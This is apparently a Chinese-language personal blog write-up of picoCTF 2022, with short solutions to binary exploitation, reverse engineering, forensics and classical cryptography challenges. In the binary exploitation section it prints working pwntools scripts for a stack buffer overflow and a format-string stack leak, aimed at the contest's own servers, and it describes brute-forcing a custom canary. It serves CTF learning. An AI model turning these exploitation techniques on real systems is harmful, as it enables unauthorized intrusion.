picoCTF_2022 Writeup
date
Mar 30, 2022
slug
picoctf2022
status
Published
tags
CTF
WriteUp
summary
Simple writeup for an easy CTF.
type
Post
这个比赛让我想起了5年前刚开始接触CTF的时光,哭惹(x
Binary Exploitation
basic-file-exploit
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
送分题,输入的
entry为"0"或者包含非numeric即可。buffer overflow0
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
...
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
也是送分题,但代码很有意思,将
SIGSEGV的signal handler设置为了打印flag函数,于是随便乱打垃圾内容导致溢出即可。buffer overflow1
送分题again。
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
buffer overflow2
和上一题一样,只不过需要传参数。Exploit:
from pwn import *
sh = remote('saturn.picoctf.net', 59834)
payload = b'A' * (0x70) + p32(0x08049296) + b'A' * 4 + p32(0xCAFEF00D) + p32(0xF00DF00D)
sh.sendline(payload)
sh.interactive()
buffer overflow3
这题比较有意思,出题人自己造了个canary的轮子。
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
...
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
...
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
注意到每次运行都是读取一个文件的内容作为canary,即该canary对于每个instance均为定值,因此可以从低字节到高字节逐个爆破即可。
因此canary为
\x42\x69\x52\x64

x-sixty-what
和之前是一样的栈溢出,只不过架构变为了x64。
RPS
石头剪刀布,连胜五次获得flag。
char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
...
bool play () {
char player_turn[100];
...
int computer_turn = rand() % 3;
printf("You played: %s\n", player_turn);
printf("The computer played: %s\n", hands[computer_turn]);
if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
}
本意应该是使用
strcmp判断是否为获胜的选项,结果这里用了strstr,只要用户输入包含获胜的出拳(石头/剪刀/布)即判定为胜利,因此输入rock/paper/scissors 五次即可成功。flag leak
格式化字符串漏洞之栈内容泄露教学。
void vuln(){
char flag[BUFSIZE];
char story[128];
readflag(flag, FLAGSIZE);
printf("Tell me a story and then I'll tell you one >> ");
scanf("%127s", story);
printf("Here's a story - \n");
printf(story);
printf("\n");
}
Exp:
from pwn import *
sh = remote('saturn.picoctf.net', 61581)
fmts = b''
for pos in range(36, 48):
fmts += b'%%%d$p' % pos
sh.sendline(fmts)
sh.recvuntil(b"Here's a story - \n")
result = sh.recvline()
print(result)
flag = ''
for index in range(12):
hexnum = result[index * 10 + 2:index * 10 + 10]
ss = ''
for byte_index in range(4):
ss += chr(int(hexnum[byte_index * 2: byte_index * 2 + 2], 16))
ss = ss[::-1]
flag += ss
print(flag)

Reverse
前三题略。
patchme
键入
ak98-=90adfjhgj321sleuth9000即可获得flag。
safeopener
public static boolean openSafe(String password) {
String encodedkey = "cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz";
...
}
base64。
unpackme.py
import base64
from cryptography.fernet import Fernet
payload = b'略:)'
key_str = 'correctstaplecorrectstaplecorrec'
key_base64 = base64.b64encode(key_str.encode())
f = Fernet(key_base64)
plain = f.decrypt(payload)
exec(plain.decode())
将
exec换为print即可看到真实的payload,从而一眼看到flag。bloat.py
搞了个混淆。将
arg133返回值改为恒True即可。
Fresh Java
上JD-GUI。


Bbbbloat
终于有一个要用IDA的题了喂!
输
549255得flag。
unpackme
upx。
upx -d unpackme-upx
本质同上题,这里输入0x683b的十进制值获得flag。
keygenme
不好意思,动态调试还是秒解。

Wizaralike
我错了,这题的flag在哪愣没找到……
Forensics
Packets Primer

Eavesdrop
提取出9002端口接收的内容并用对应的DES密钥解密(
openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123)即可。
Operation Oni
mount给的磁盘镜像,找到其中的ssh私钥并登陆目标服务器。

Cryptography
上次有这么多古典密码学的题目还是什么时候?(
basic-mod1
c = [387,248,131,272,373,221,161,110,91,359,390,50,225,184,223,137,225,327,42,179,220,365]
flag = ""
for i in c:
ii = i % 37
if ii < 26:
flag += chr(0x41 + ii)
elif ii < 36:
flag += chr(ord('0') + ii - 26)
else:
flag += '_'
print(flag)
basic-mod2
考察了高级的模逆:
def egcd(a, b):
if a == 0:
return (b, 0, 1)
g, y, x = egcd(b%a,a)
return (g, x - (b//a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('No modular inverse')
return x%m
#c = [387,248,131,272,373,221,161,110,91,359,390,50,225,184,223,137,225,327,42,179,220,365]
c = [145,126,356,272,98,378,395,352,392,215,446,168,180,359,51,190,404,209,185,115,363,431,103]
flag = ""
for i in c:
ii = i % 41
ii = modinv(ii, 41)
ii -= 1
if ii < 26:
flag += chr(0x41 + ii)
elif ii < 36:
flag += chr(ord('0') + ii - 26)
else:
flag += '_'
print(flag)
credstuff
找到
cultiris在username.txt中第几行,找到passwords.txt的这一行,然后凯撒解密。rail-fence
栅栏密码。
substitution[0-2]



Vigenere
维吉尼亚密码,在线工具解密即可。